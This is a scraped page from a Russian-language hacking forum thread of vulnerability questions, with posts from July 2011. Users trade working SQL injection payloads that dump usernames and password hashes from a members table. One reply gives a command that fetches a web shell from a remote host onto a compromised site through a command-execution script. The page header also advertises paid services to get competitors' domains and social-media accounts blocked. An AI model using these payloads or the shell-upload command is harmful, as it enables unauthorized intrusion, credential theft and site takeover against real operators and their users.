УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1760 из 2438

1760

Опции темы

Поиск в этой теме

Опции просмотра

#17591

15.07.2011, 18:54

Unknown

Guest

Сообщений: n/a

Провел на форуме:
34733

Репутация: 83

Цитата:

Сообщение от [Gold

Shell"]
[Gold]Shell said:
Не хватает прав для выполнения запроса.

лол что?

1. выполняй "union select database()";

2. потом "union select concat_ws(0x3a,username,password) from REZULTAT_PERVOGO_ZAPROSA.members limit 0,1";

3. Profit!

#17592

15.07.2011, 19:14

mega_667

Guest

Сообщений: n/a

Провел на форуме:
3667

Репутация: 0

Цитата:

Сообщение от Фараон

Фараон said:
лол что?
1. выполняй "union select database()";
2. потом "union select concat_ws(0x3a,username,password) from REZULTAT_PERVOGO_ZAPROSA.members limit 0,1";
3. Profit!

database() - результат DB.

Результат одинков .... " Table 'DB.members' doesn't exist " ..

и когда просто members и DB.members .....

#17593

15.07.2011, 19:19

Unknown

Guest

Сообщений: n/a

Провел на форуме:
34733

Репутация: 83

Цитата:

Сообщение от mega_667

mega_667 said:
database() - результат DB.
Результат одинков .... " Table 'DB.members' doesn't exist " ..
и когда просто members и DB.members .....

ни, давай ссылягу

#17594

15.07.2011, 19:22

mega_667

Guest

Сообщений: n/a

Провел на форуме:
3667

Репутация: 0

Цитата:

Сообщение от Фараон

Фараон said:
ни, давай ссылягу

Всё ребят спасибо .... разобрался с помощью SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA нашёл список баз .... последняя покатила .....

#17595

15.07.2011, 19:23

Unknown

Guest

Сообщений: n/a

Провел на форуме:
34733

Репутация: 83

Цитата:

Сообщение от mega_667

mega_667 said:
Всё ребят спасибо .... разобрался с помощью SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA нашёл список баз .... последняя покатила .....

можно было проще:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA where table_name='members'

#17596

15.07.2011, 19:47

freezed

Guest

Сообщений: n/a

Провел на форуме:
31258

Репутация: 7

Цитата:

Сообщение от Фараон

Фараон said:
можно было проще:
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA where table_name='members'

с каких пор в таблице schemata содержатся названия таблиц?

Код:

Code:
select table_schema form information_schema.tables where table_name='name'

#17597

15.07.2011, 23:37

d1v

Новичок

Регистрация: 21.02.2009

Сообщений: 3

Провел на форуме:
58401

Репутация: 0

Цитата:

Сообщение от mailbrush

mailbrush said:
Узнаешь в какой базе находится таблица.

это был тонкий намёк на твою ошибку. смотри внимательнее.

#17598

16.07.2011, 13:46

Ups

Guest

Сообщений: n/a

Провел на форуме:
42754

Репутация: 0

Есть скрипт например:

site.ru/trololo/a.php

Могу выполнять команды через него. Например:

site.ru/trololo/a.php?cmd=ls -la

Выводит лист этой диры.

Так вот. Как залить шелл в диру корневую?

Прав на заливку файла в папку /trololo/ нету.

#17599

16.07.2011, 14:21

Expl0ited

Guest

Сообщений: n/a

Провел на форуме:
262707

Репутация: 935

Цитата:

Сообщение от Ups

Ups said:
Есть скрипт например:
site.ru/trololo/a.php
Могу выполнять команды через него. Например:
site.ru/trololo/a.php?cmd=ls -la
Выводит лист этой диры.
Так вот. Как залить шелл в диру корневую?
Прав на заливку файла в папку /trololo/ нету.

Код:

Code:
cd ..;wget -O shell.php http://remote/shell.txt;ls -la

#17600

16.07.2011, 18:01

maxfax

Guest

Сообщений: n/a

Провел на форуме:
8037

Репутация: 0

Здравствуйте, меня вот интересует такой вопрос, вот к примеру вы нашли sql инъекцию подобрали количество колонок - одним словом можете выполнять произвольные запросы, а что вы дальше делаете залить shell через sql инъекцию это наверное 0.5% из 100 так как не будет прав на это, ну украдете хеш админа и будете клянчить на форуме "расшифруйте пожалуйста мне хеш" или брутить будете его пол года, это все что можно выжать их sql инъекции ?

Страница 1760 из 2438

1760

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход